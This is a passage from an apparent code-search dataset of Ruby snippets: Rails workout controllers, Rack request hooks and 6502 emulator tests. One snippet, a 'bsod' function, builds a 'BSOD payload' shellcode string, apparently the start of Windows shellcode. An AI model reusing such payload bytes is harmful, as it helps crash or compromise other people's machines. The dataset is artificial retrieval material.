"0.63627887", "text": "def get_workouts_for_user(user_id, options={})\n final_options = options.merge(user: user_id)\n @mmr_client.workouts(final_options)\nend", "title": "" }, { "docid": "515330c0c2e0d9d65b9a221119a84610", "score": "0.6360653", "text": "def new\n @workout = Workout.new(user_id: params[:user_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" }, { "docid": "6e68a8de3f236fc7e248a788a919ec07", "score": "0.6346145", "text": "def set_workout\n @workout = Workout.find_by(id: params[:id])\n end", "title": "" }, { "docid": "31b61c830fa6ae014470e67c96f9295b", "score": "0.6342391", "text": "def set_workout\n\t\t@workout = Workout.published.friendly.find(params[:id])\n\tend", "title": "" }, { "docid": "c7fcc03391ef042b746944569977ecc8", "score": "0.6341331", "text": "def index\n @workout_activities = WorkoutActivity.all\n end", "title": "" }, { "docid": "a8c8b3727d2eadb7639e5e2c2e0c14b5", "score": "0.6340467", "text": "def show\n @work_time = WorkTime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_time }\n end\n end", "title": "" }, { "docid": "7bac7ba0fc1b1468d562e5027341f8c3", "score": "0.6340192", "text": "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "title": "" }, { "docid": "7bac7ba0fc1b1468d562e5027341f8c3", "score": "0.6340192", "text": "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "title": "" }, { "docid": "88a83e30f6b9bcdce8c25f3db9a247cb", "score": "0.6326674", "text": "def show\n @work_detail = WorkDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_detail }\n end\n end", "title": "" }, { "docid": "66f7cfc91b959ed2a66c61d03ff046be", "score": "0.6323115", "text": "def show\n @workout_pass = WorkoutPass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_pass }\n end\n end", "title": "" }, { "docid": "e89d835d9cbd833bdb7bd691f9faf7f8", "score": "0.6322947", "text": "def show\n @worklog = Worklog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @worklog }\n end\n end", "title": "" } ]
ef47d6e896bb0492aac8cec244abb2e0
Executed on every request
[ { "docid": "ea11ddbf4327d989ae5492ee69903d38", "score": "0.0", "text": "def call env\n @env = env\n # Call app if no area or already confirmed\n return @app.call(env) if !area || confirmed?\n \n if post? # When request is a POST\n if xhr? # and request was called via AJAX\n # Make sure we're returning the correct Content-Type for AJAX\n response['Content-Type'] = 'text/javascript'\n validate_code! # Validate the user's code and set a cookie if valid\n else # request is not AJAX - need to redirect\n response.write 'Redirecting'\n response.redirect path, 301\n end\n else # Anything other than a POST request\n # Set the correct Content-Type of respond with\n response[\"Content-Type\"] = mime_type\n begin\n # Find the DoorCode body content\n response.write ::File.read(::File.dirname(__FILE__) + 'index.' + ext)\n rescue # File not found - simply returns basic 404 (need to enhance this)\n response.write '404!'\n response.status = 404\n end\n end\n \n # Render response\n return response.finish\n end", "title": "" } ]
[ { "docid": "a3e7d8341eba0b20d55bbfdcd0684953", "score": "0.7794276", "text": "def on_pre_request( request )\n end", "title": "" }, { "docid": "1f67ef3705601df94a57b24a0b635a54", "score": "0.76965", "text": "def on_pre_request( request ); end", "title": "" }, { "docid": "511fe0236297bd7e2ade5fecfa1e8c65", "score": "0.71782726", "text": "def after_request\n end", "title": "" }, { "docid": "bfb862788487bd23bf87f510cdd2d155", "score": "0.71271", "text": "def after_request\n end", "title": "" }, { "docid": "effd87df314494674686c99f76ee4fd0", "score": "0.7104974", "text": "def before_request\n end", "title": "" }, { "docid": "da443eb84130a446e1e8aecbcdd2bea0", "score": "0.7078046", "text": "def process(request); end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.6837444", "text": "def request; end", "title": "" }, { "docid": "1df3d08f640c3a7c5784890c0a1be91a", "score": "0.67390585", "text": "def set_request; end", "title": "" }, { "docid": "80f1f30cb5925515e387560cbf7dfe61", "score": "0.66069496", "text": "def on_request( &block )\n @on_request = block\n end", "title": "" }, { "docid": "b4d6ba8a60f9457bf96ffc7e3e1d9ea1", "score": "0.6595714", "text": "def handler; end", "title": "" }, { "docid": "b4d6ba8a60f9457bf96ffc7e3e1d9ea1", "score": "0.6595714", "text": "def handler; end", "title": "" }, { "docid": "3f35059e1fa6a00c17e6ed37a5946aaa", "score": "0.658413", "text": "def middleware; end", "title": "" }, { "docid": "374a6c71febd670f9543d53d80e401dc", "score": "0.6574665", "text": "def call(request); end", "title": "" }, { "docid": "13b7867a97cb0e54c34a84c946aca68a", "score": "0.6555194", "text": "def on_global_request(type, &block); end", "title": "" }, { "docid": "6bab742ecf47900b74a25496b4caa524", "score": "0.65186703", "text": "def handlers; end", "title": "" }, { "docid": "6bab742ecf47900b74a25496b4caa524", "score": "0.65186703", "text": "def handlers; end", "title": "" }, { "docid": "6bab742ecf47900b74a25496b4caa524", "score": "0.65186703", "text": "def handlers; end", "title": "" }, { "docid": "9bade55b941a833eabb0fbffee10adf5", "score": "0.6516118", "text": "def on_request( &block )\n @preprocessor = block\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.65085644", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "24e39a776952dbc0aa5c5bebe4e53665", "score": "0.6491393", "text": "def perform(request, response); end", "title": "" }, { "docid": "a142528055263837af0a60c2fa8dfe93", "score": "0.64886856", "text": "def pre_connect(request); end", "title": "" }, { "docid": "12a6be5b62eb74745f8911af08d3b27e", "score": "0.6463405", "text": "def consider_all_requests_local; end", "title": "" }, { "docid": "12a6be5b62eb74745f8911af08d3b27e", "score": "0.6463405", "text": "def consider_all_requests_local; end", "title": "" }, { "docid": "ffb5cf00c8d466d21886eaa32a75e368", "score": "0.63703394", "text": "def before_dispatch(_env)\n end", "title": "" }, { "docid": "a7c3d6e3aaddd5208720d9689d58528b", "score": "0.6298068", "text": "def before_filter; end", "title": "" }, { "docid": "ae0f1891c2c6a71849e22f00bdde73a8", "score": "0.62503165", "text": "def process!\n if Server.environment == 'development'\n puts \"----------request--------------\\n#{controller.request.inspect}\"\n puts controller.request.body.read\n controller.request.body.rewind\n end\n\n controller.response.body = controller.send(controller.action_name)\n\n if Server.environment == 'development'\n puts \"----------response--------------\\n#{controller.response.inspect}\"\n end\n end", "title": "" }, { "docid": "cfd88fdb2f98de74fa862fc3dd1aad5a", "score": "0.62103057", "text": "def process_http_request\n route_http_request\n end", "title": "" }, { "docid": "9212caf7967e58c21659f4f5cbba2295", "score": "0.62075025", "text": "def on_ignored_request\n end", "title": "" }, { "docid": "bbc5e167e04358a85cd2d9b08fb06ddd", "score": "0.61031723", "text": "def onStart\r\n end", "title": "" }, { "docid": "9cffb775aa02c1d8265e0ca380519549", "score": "0.61003035", "text": "def before_run; end", "title": "" }, { "docid": "5d4eca2e471defa7d1d188b35a000aa4", "score": "0.6077806", "text": "def before_processing\n end", "title": "" }, { "docid": "0a57d189f3cf425aeea671a4aa2e2e66", "score": "0.6061232", "text": "def request_phase\n super\n end", "title": "" }, { "docid": "0a57d189f3cf425aeea671a4aa2e2e66", "score": "0.6061232", "text": "def request_phase\n super\n end", "title": "" }, { "docid": "896c55adb641c0e7526329e5afce2e6c", "score": "0.6020798", "text": "def send_request; end", "title": "" }, { "docid": "446634ad1aa1dce7be296cdb20ff8ca8", "score": "0.59754276", "text": "def receive(request); end", "title": "" }, { "docid": "6e5cd9eb3ed39ccec1b29745421ff4ad", "score": "0.5965248", "text": "def request_log(request); end", "title": "" }, { "docid": "cecacc28b567093306a44cf649c91e24", "score": "0.5960315", "text": "def on_request &b\n @request_proc = b\n self\n end", "title": "" }, { "docid": "612c39a10d6e90c6b2708918e6534f30", "score": "0.5951561", "text": "def on_request(env)\n env['sinatra.commonlogger'] = true\n super\n end", "title": "" }, { "docid": "f858fe4e54714e5634ffb62f100db061", "score": "0.59302074", "text": "def consider_all_requests_local=(_arg0); end", "title": "" }, { "docid": "f858fe4e54714e5634ffb62f100db061", "score": "0.59302074", "text": "def consider_all_requests_local=(_arg0); end", "title": "" }, { "docid": "122297bbae5cc2ef74f729f579bfb8ab", "score": "0.58979315", "text": "def handler_method; end", "title": "" }, { "docid": "9bfc283cb5dec07a11036abd725bbc16", "score": "0.5891024", "text": "def perform(request, options); end", "title": "" }, { "docid": "5b9b59f0d75e3a3ac89326998bc3e59b", "score": "0.5889006", "text": "def call(request)\n handler.call(request)\n end", "title": "" }, { "docid": "cfa95811c46b45b090c05e6e210d4eca", "score": "0.5883845", "text": "def after_filter; end", "title": "" }, { "docid": "c246f91ee343176036efa4886de259c0", "score": "0.5857574", "text": "def on_response( &block )\n @postprocessor = block\n end", "title": "" }, { "docid": "db470493186acd7fae2d40d5766dc3b4", "score": "0.58414525", "text": "def conditional_requests; end", "title": "" }, { "docid": "db470493186acd7fae2d40d5766dc3b4", "score": "0.58414525", "text": "def conditional_requests; end", "title": "" }, { "docid": "78e9f75bc91fb0f005e72d6d88da7618", "score": "0.5830369", "text": "def on_before_load\n end", "title": "" }, { "docid": "ba5e3e19c22c522f692f4f91546e0e1b", "score": "0.58252466", "text": "def post_init\n @request = Request.new\n @response = Response.new\n end", "title": "" }, { "docid": "003cfe417c6d7c8ae1caad51b61869f6", "score": "0.5791626", "text": "def call(env)\n super\n perform_request env\n @app.call env\n end", "title": "" }, { "docid": "80331f8646e061091165ef80f291244b", "score": "0.57908005", "text": "def middlewares; end", "title": "" }, { "docid": "63e6fcf2a34d536960f67e1e151598b0", "score": "0.57835436", "text": "def app_middleware; end", "title": "" }, { "docid": "72c2066115edb677a48e584e7e523768", "score": "0.57790196", "text": "def start_handler\n\tend", "title": "" }, { "docid": "8ee4b68cd01d3f3fab753c8cf044bd57", "score": "0.5777546", "text": "def call(request)\r\n self\r\n end", "title": "" }, { "docid": "eb3bbc82257013ba9678c7b5d95c82a9", "score": "0.57755095", "text": "def before_resolution\n end", "title": "" }, { "docid": "d9857d32314645121121c185f505eb77", "score": "0.5764726", "text": "def post_process\n end", "title": "" }, { "docid": "ec07b65447d530c9eae9168d9823c228", "score": "0.5745672", "text": "def run!\n\t\t\tcatch :halt do\n\t\t\t\tvalidate_request\n\n\t\t\t\ttry_options ||\n\t\t\t\t\ttry_static ||\n\t\t\t\t\ttry_static(dir: GEM_STATIC_FILES) ||\n\t\t\t\t\ttry_route ||\n\t\t\t\t\thalt(404)\n\t\t\tend\n\t\t\tresponse.write body unless request.head?\n\t\t\tresponse.finish\n\t\tend", "title": "" }, { "docid": "7da1c07bf11f758eb1407d81f77497da", "score": "0.5743613", "text": "def index\n @http_requests = HttpRequest.all\n end", "title": "" }, { "docid": "d41c80410fc8662ca8cd4c59dc1f4665", "score": "0.5736894", "text": "def middleware(&block); end", "title": "" }, { "docid": "dc34ee943631937a64f2d5823031e476", "score": "0.5730681", "text": "def before_stream\n end", "title": "" }, { "docid": "fd52b5124f9819c2254c04c4421c9111", "score": "0.5715262", "text": "def req\n \n end", "title": "" }, { "docid": "637ffa6b1b9f5dd85f930ae16d5466db", "score": "0.5714372", "text": "def process\n klass.new(request).process\n end", "title": "" }, { "docid": "bd425df91ea51f3fd4c28eba66467d72", "score": "0.57099724", "text": "def raw_response; end", "title": "" }, { "docid": "5cbfda3cfe629a1e3eb99f7e894703d9", "score": "0.5692808", "text": "def main\n return if deliver_static_assets\n\n catch(:done) do\n class_callback :before\n class_callback :routes unless body?\n end\n\n catch(:done) do\n class_callback :after\n end\n rescue => e\n response.body { nil }\n\n catch(:done) do\n on_error(e)\n end\n end", "title": "" }, { "docid": "086a26aefd5216dc70f7732d0c34aaec", "score": "0.56899124", "text": "def run\n super\n end", "title": "" }, { "docid": "086a26aefd5216dc70f7732d0c34aaec", "score": "0.56899124", "text": "def run\n super\n end", "title": "" }, { "docid": "6847d680a0f5c2d50cafabea5e9d19b5", "score": "0.5684979", "text": "def apply_request(request_env); end", "title": "" }, { "docid": "6f5ad96a16721845c7d43b6126886367", "score": "0.56848687", "text": "def page_load; end", "title": "" }, { "docid": "356ef7325fb265553d5c09111fb91a6c", "score": "0.56835824", "text": "def setup\n @response_catcher = HttpResponseCatcher.new\n self.class.controller.http_call_back = @response_catcher\n end", "title": "" }, { "docid": "7fda7b38130ce684396ffd86e7839bc8", "score": "0.56729966", "text": "def handler_executed(handler)\n end", "title": "" }, { "docid": "91d1422c3e7049f164b6785991634139", "score": "0.56647325", "text": "def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:sessions] Adding sessions to the transaction.\"\n\t\tsuper\n\tend", "title": "" }, { "docid": "a2b2d5c608971a3401ae01628c4fddfc", "score": "0.5658268", "text": "def call(env)\n notify_request_handlers(env)\n request = env.dup\n app.call(env).on_complete do |env|\n notify_response_handlers(request, env)\n end\n end", "title": "" }, { "docid": "ee6ba293c8ffed94d9a985153e9fed96", "score": "0.5648523", "text": "def request_method; end", "title": "" }, { "docid": "2ce1bc35f76b4eaab08913ebb33ad03f", "score": "0.56376517", "text": "def request\n raise 'need to be implemented'\n end", "title": "" }, { "docid": "fdd0a1a024108afe5ca079d606346095", "score": "0.56319517", "text": "def call(env)\n serving(env)\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.562793", "text": "def setup_handler\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5627557", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5627557", "text": "def callbacks; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" }, { "docid": "f845e336977867d0ee5275bc6b746fb6", "score": "0.56249154", "text": "def response; end", "title": "" } ]
98032ea3f9591798ea0b8f5a0fde7b9c
C000 EOR $c080 C002 BRK
[ { "docid": "c65e77947b1f85b5ab772c2394afb8af", "score": "0.0", "text": "def test_EOR_absolute\n reset_and_load_memory %w[4d 80 c0 00]\n\n @cpu.accumulator = 0b0110_0110\n @cpu.write_ram(address: 0xc080, data: 0b0011_1100)\n @cpu.execute(address: @base_address)\n assert_equal(0b0101_1010, @cpu.accumulator)\n end", "title": "" } ]
[ { "docid": "99b25ccd4208b2867cd85661ef26ce2e", "score": "0.6291579", "text": "def alu_c0; @bits[12]; end", "title": "" }, { "docid": "4e4fece32d782a9972f51f5ab24dc0b0", "score": "0.6224914", "text": "def control_codes\n 'CC12345'\n end", "title": "" }, { "docid": "38466222d8cac0f6f788289e21507b0c", "score": "0.61435574", "text": "def alu_c2; @bits[14]; end", "title": "" }, { "docid": "0881a2e7ed6f882162c983ace5b0414e", "score": "0.6028336", "text": "def alu_c1; @bits[13]; end", "title": "" }, { "docid": "b0c9bc52098feb9de914674fef434b8b", "score": "0.59087455", "text": "def test_crb_returns_value_from_memory\n @memory.set_byte(0x900B, 0)\n assert_equal(0, @vic.cr[11])\n end", "title": "" }, { "docid": "48465a4ed336876053ff3872d52959fb", "score": "0.5887898", "text": "def incode\n \"0AA\"\n end", "title": "" }, { "docid": "90472b4a4d981b6e1904ee9aa098a66a", "score": "0.5886381", "text": "def crl=(p0) end", "title": "" }, { "docid": "5f427d182759c783f8af566bf8cf246d", "score": "0.5867836", "text": "def rcon\n [0x8d, 0x01, 0x02, 0x04,\n 0x08, 0x10, 0x20, 0x40,\n 0x80, 0x1b, 0x36, 0x6c,\n 0xd8, 0xab, 0x4d, 0x9a]\nend", "title": "" }, { "docid": "46563d6f02e5496d68cee628ce0d632c", "score": "0.5834038", "text": "def rcon\n [0x8d,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36,0x6c,0xd8,0xab,0x4d,0x9a][self]\n end", "title": "" }, { "docid": "3b71dfbb676af0cd8a6d7bfeccc38568", "score": "0.582327", "text": "def ecn\n bytes[1] & 0x3\n end", "title": "" }, { "docid": "53898475d199c00500fb0916af644e04", "score": "0.5747749", "text": "def akku_reads; @bits[27]; end", "title": "" }, { "docid": "c69462835d6e6db7f058a4f83cbedcd0", "score": "0.5747543", "text": "def test_t2c_l_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::T2C_L, 0xd5)\n assert_equal(0xd5, @via.ir[Vic20::VIA::T2C_L])\n end", "title": "" }, { "docid": "42dd089de0c96fcf1eafacf36f03c753", "score": "0.56593406", "text": "def beq(r0,r1,c) jumpcode 0b000100,r0,r1,c end", "title": "" }, { "docid": "53f13bc0f164fdb9e8b163a850547ac3", "score": "0.5628755", "text": "def bsod\r\n\tprint \"Selecting BSOD payload\"\r\n\tshellcode = \"\\x6A\\x30\\x59\\x64\\x8B\\x09\\x85\\xC9\\x78\\x0C\\x8B\\x49\\x0C\\x8B\\x71\\x1C\"\r\n\tshellcode << \"\\xAD\\x8B\\x48\\x08\\xEB\\x09\\x8B\\x49\\x34\\x8B\\x49\\x7C\\x8B\\x49\\x3C\"\r\n\treturn shellcode\r\nend", "title": "" }, { "docid": "151816c3c19adbb5022cf1d46ad8d689", "score": "0.56170744", "text": "def c; @c.to_i || 0x0; end", "title": "" }, { "docid": "1ce802114e7b10d48976252dbd8ba615", "score": "0.5616158", "text": "def test_t2c_h_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::T2C_H, 0x25)\n assert_equal(0x25, @via.ir[Vic20::VIA::T2C_H])\n end", "title": "" }, { "docid": "188bce545c09d8c705d8008516189508", "score": "0.56143856", "text": "def crls=(p0) end", "title": "" }, { "docid": "c94dd59d90d53c3bfa570dfc9072b574", "score": "0.5578091", "text": "def test_ddrb_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::DDRB, 0x85)\n assert_equal(0x85, @via.ir[Vic20::VIA::DDRB])\n end", "title": "" }, { "docid": "57221ae2e94df3d5d22f51ff8b3ab8fe", "score": "0.55716825", "text": "def end_product_code\n \"040SCR\"\n end", "title": "" }, { "docid": "43bedc84072efabbbfeca23fa525333c", "score": "0.55438423", "text": "def read_barcode\n # TODO: seems to read to frequently\n f = open('/dev/hidraw0','rb')\n done = false\n code = ''\n input = []\n uppercase = false #last read char was 'Shift'\n while !done\n buf = f.read(8)\n buf.each_char do |char|\n c = char.ord\n input << c\n next if c <= 0\n if c == 40 # 'return' was send, code complete\n done = true\n else\n puts c if $debug\n if c == 2 # 'Shift key for Uppercase was send, use upper key values'\n #puts 'uppercase'\n uppercase = true\n else\n if uppercase\n code += $hid2[c]\n uppercase = false\n else\n code += $hid[c]\n end\n end\n end\n end\n end\n puts \"INPUT: #{input}\" if $debug\n puts \"CODE: #{code}\"\n return code\nend", "title": "" }, { "docid": "e4bef9a4f38fb52250745ed003df95fe", "score": "0.5526878", "text": "def v_epl16_nomask\n [bin(\"\\x50\\x7E\"), 42033, bin(\"ABC\")*14011].pack 'A2nA42033'\n end", "title": "" }, { "docid": "cf69418d3cf97ee513327c01c9e41a7c", "score": "0.5518285", "text": "def kcode\n end", "title": "" }, { "docid": "0307af8d8b0bce0924ae14d3ab1dcb3a", "score": "0.5475603", "text": "def test_t1c_l_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::T1C_L, 0x1f)\n assert_equal(0x1f, @via.ir[Vic20::VIA::T1C_L])\n end", "title": "" }, { "docid": "13f40f75fb63df5918973c02b2726f79", "score": "0.547114", "text": "def test_t1c_h_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::T1C_H, 0x1e)\n assert_equal(0x1e, @via.ir[Vic20::VIA::T1C_H])\n end", "title": "" }, { "docid": "3d245e9eb733db165f003a4f9ce39a82", "score": "0.54669917", "text": "def bcf_int8_vector_end = -127", "title": "" }, { "docid": "3708203caabee15235103ce69b989c02", "score": "0.5464824", "text": "def opcode_table\n [ [0x00, :BRK, :imp, 7],\n [0x01, :ORA, :izx, 6],\n [0x02, :KIL, :imp, 0],\n [0x03, :SLO, :izx, 8],\n [0x04, :NOP, :zpg, 3],\n [0x05, :ORA, :zpg, 3],\n [0x06, :ASL, :zpg, 5],\n [0x07, :SLO, :zpg, 5],\n [0x08, :PHP, :imp, 3],\n [0x09, :ORA, :imm, 2],\n [0x0A, :ASL, :acc, 2],\n [0x0B, :ANC, :imm, 2],\n [0x0C, :NOP, :abs, 4],\n [0x0D, :ORA, :abs, 4],\n [0x0E, :ASL, :abs, 6],\n [0x0F, :SLO, :abs, 6],\n [0x10, :BPL, :rel, 2],\n [0x11, :ORA, :izy, 5],\n [0x12, :KIL, :imp, 0],\n [0x13, :SLO, :izy, 8],\n [0x14, :NOP, :zpx, 4],\n [0x15, :ORA, :zpx, 4],\n [0x16, :ASL, :zpx, 6],\n [0x17, :SLO, :zpx, 6],\n [0x18, :CLC, :imp, 2],\n [0x19, :ORA, :aby, 4],\n [0x1A, :NOP, :imp, 2],\n [0x1B, :SLO, :aby, 7],\n [0x1C, :NOP, :abx, 4],\n [0x1D, :ORA, :abx, 4],\n [0x1E, :ASL, :abx, 7],\n [0x1F, :SLO, :abx, 7],\n [0x20, :JSR, :abs, 6],\n [0x21, :AND, :izx, 6],\n [0x22, :KIL, :imp, 0],\n [0x23, :RLA, :izx, 8],\n [0x24, :BIT, :zpg, 3],\n [0x25, :AND, :zpg, 3],\n [0x26, :ROL, :zpg, 5],\n [0x27, :RLA, :zpg, 5],\n [0x28, :PLP, :imp, 4],\n [0x29, :AND, :imm, 2],\n [0x2A, :ROL, :acc, 2],\n [0x2B, :ANC, :imm, 2],\n [0x2C, :BIT, :abs, 4],\n [0x2D, :AND, :abs, 4],\n [0x2E, :ROL, :abs, 6],\n [0x2F, :RLA, :abs, 6],\n [0x30, :BMI, :rel, 2],\n [0x31, :AND, :izy, 5],\n [0x32, :KIL, :imp, 0],\n [0x33, :RLA, :izy, 8],\n [0x34, :NOP, :zpx, 4],\n [0x35, :AND, :zpx, 4],\n [0x36, :ROL, :zpx, 6],\n [0x37, :RLA, :zpx, 6],\n [0x38, :SEC, :imp, 2],\n [0x39, :AND, :aby, 4],\n [0x3A, :NOP, :imp, 2],\n [0x3B, :RLA, :aby, 7],\n [0x3C, :NOP, :abx, 4],\n [0x3D, :AND, :abx, 4],\n [0x3E, :ROL, :abx, 7],\n [0x3F, :RLA, :abx, 7],\n [0x40, :RTI, :imp, 6],\n [0x41, :EOR, :izx, 6],\n [0x42, :KIL, :imp, 0],\n [0x43, :SRE, :izx, 8],\n [0x44, :NOP, :zpg, 3],\n [0x45, :EOR, :zpg, 3],\n [0x46, :LSR, :zpg, 5],\n [0x47, :SRE, :zpg, 5],\n [0x48, :PHA, :imp, 3],\n [0x49, :EOR, :imm, 2],\n [0x4A, :LSR, :acc, 2],\n [0x4B, :ALR, :imm, 2],\n [0x4C, :JMP, :abs, 3],\n [0x4D, :EOR, :abs, 4],\n [0x4E, :LSR, :abs, 6],\n [0x4F, :SRE, :abs, 6],\n [0x50, :BVC, :rel, 2],\n [0x51, :EOR, :izy, 5],\n [0x52, :KIL, :imp, 0],\n [0x53, :SRE, :izy, 8],\n [0x54, :NOP, :zpx, 4],\n [0x55, :EOR, :zpx, 4],\n [0x56, :LSR, :zpx, 6],\n [0x57, :SRE, :zpx, 6],\n [0x58, :CLI, :imp, 2],\n [0x59, :EOR, :aby, 4],\n [0x5A, :NOP, :imp, 2],\n [0x5B, :SRE, :aby, 7],\n [0x5C, :NOP, :abx, 4],\n [0x5D, :EOR, :abx, 4],\n [0x5E, :LSR, :abx, 7],\n [0x5F, :SRE, :abx, 7],\n [0x60, :RTS, :imp, 6],\n [0x61, :ADC, :izx, 6],\n [0x62, :KIL, :imp, 0],\n [0x63, :RRA, :izx, 8],\n [0x64, :NOP, :zpg, 3],\n [0x65, :ADC, :zpg, 3],\n [0x66, :ROR, :zpg, 5],\n [0x67, :RRA, :zpg, 5],\n [0x68, :PLA, :imp, 4],\n [0x69, :ADC, :imm, 2],\n [0x6A, :ROR, :acc, 2],\n [0x6B, :ARR, :imm, 2],\n [0x6C, :JMP, :ind, 5],\n [0x6D, :ADC, :abs, 4],\n [0x6E, :ROR, :abs, 6],\n [0x6F, :RRA, :abs, 6],\n [0x70, :BVS, :rel, 2],\n [0x71, :ADC, :izy, 5],\n [0x72, :KIL, :imp, 0],\n [0x73, :RRA, :izy, 8],\n [0x74, :NOP, :zpx, 4],\n [0x75, :ADC, :zpx, 4],\n [0x76, :ROR, :zpx, 6],\n [0x77, :RRA, :zpx, 6],\n [0x78, :SEI, :imp, 2],\n [0x79, :ADC, :aby, 4],\n [0x7A, :NOP, :imp, 2],\n [0x7B, :RRA, :aby, 7],\n [0x7C, :NOP, :abx, 4],\n [0x7D, :ADC, :abx, 4],\n [0x7E, :ROR, :abx, 7],\n [0x7F, :RRA, :abx, 7],\n [0x80, :NOP, :imm, 2],\n [0x81, :STA, :izx, 6],\n [0x82, :NOP, :imm, 2],\n [0x83, :SAX, :izx, 6],\n [0x84, :STY, :zpg, 3],\n [0x85, :STA, :zpg, 3],\n [0x86, :STX, :zpg, 3],\n [0x87, :SAX, :zpg, 3],\n [0x88, :DEY, :imp, 2],\n [0x89, :NOP, :imm, 2],\n [0x8A, :TXA, :imp, 2],\n [0x8B, :XAA, :imm, 2],\n [0x8C, :STY, :abs, 4],\n [0x8D, :STA, :abs, 4],\n [0x8E, :STX, :abs, 4],\n [0x8F, :SAX, :abs, 4],\n [0x90, :BCC, :rel, 2],\n [0x91, :STA, :izy, 6],\n [0x92, :KIL, :imp, 0],\n [0x93, :AHX, :izy, 6],\n [0x94, :STY, :zpx, 4],\n [0x95, :STA, :zpx, 4],\n [0x96, :STX, :zpy, 4],\n [0x97, :SAX, :zpy, 4],\n [0x98, :TYA, :imp, 2],\n [0x99, :STA, :aby, 5],\n [0x9A, :TXS, :imp, 2],\n [0x9B, :TAS, :aby, 5],\n [0x9C, :SHY, :abx, 5],\n [0x9D, :STA, :abx, 5],\n [0x9E, :SHX, :aby, 5],\n [0x9F, :AHX, :aby, 5],\n [0xA0, :LDY, :imm, 2],\n [0xA1, :LDA, :izx, 6],\n [0xA2, :LDX, :imm, 2],\n [0xA3, :LAX, :izx, 6],\n [0xA4, :LDY, :zpg, 3],\n [0xA5, :LDA, :zpg, 3],\n [0xA6, :LDX, :zpg, 3],\n [0xA7, :LAX, :zpg, 3],\n [0xA8, :TAY, :imp, 2],\n [0xA9, :LDA, :imm, 2],\n [0xAA, :TAX, :imp, 2],\n [0xAB, :LAX, :imm, 2],\n [0xAC, :LDY, :abs, 4],\n [0xAD, :LDA, :abs, 4],\n [0xAE, :LDX, :abs, 4],\n [0xAF, :LAX, :abs, 4],\n [0xB0, :BCS, :rel, 2],\n [0xB1, :LDA, :izy, 5],\n [0xB2, :KIL, :imp, 0],\n [0xB3, :LAX, :izy, 5],\n [0xB4, :LDY, :zpx, 4],\n [0xB5, :LDA, :zpx, 4],\n [0xB6, :LDX, :zpy, 4],\n [0xB7, :LAX, :zpy, 4],\n [0xB8, :CLV, :imp, 2],\n [0xB9, :LDA, :aby, 4],\n [0xBA, :TSX, :imp, 2],\n [0xBB, :LAS, :aby, 4],\n [0xBC, :LDY, :abx, 4],\n [0xBD, :LDA, :abx, 4],\n [0xBE, :LDX, :aby, 4],\n [0xBF, :LAX, :aby, 4],\n [0xC0, :CPY, :imm, 2],\n [0xC1, :CMP, :izx, 6],\n [0xC2, :NOP, :imm, 2],\n [0xC3, :DCP, :izx, 8],\n [0xC4, :CPY, :zpg, 3],\n [0xC5, :CMP, :zpg, 3],\n [0xC6, :DEC, :zpg, 5],\n [0xC7, :DCP, :zpg, 5],\n [0xC8, :INY, :imp, 2],\n [0xC9, 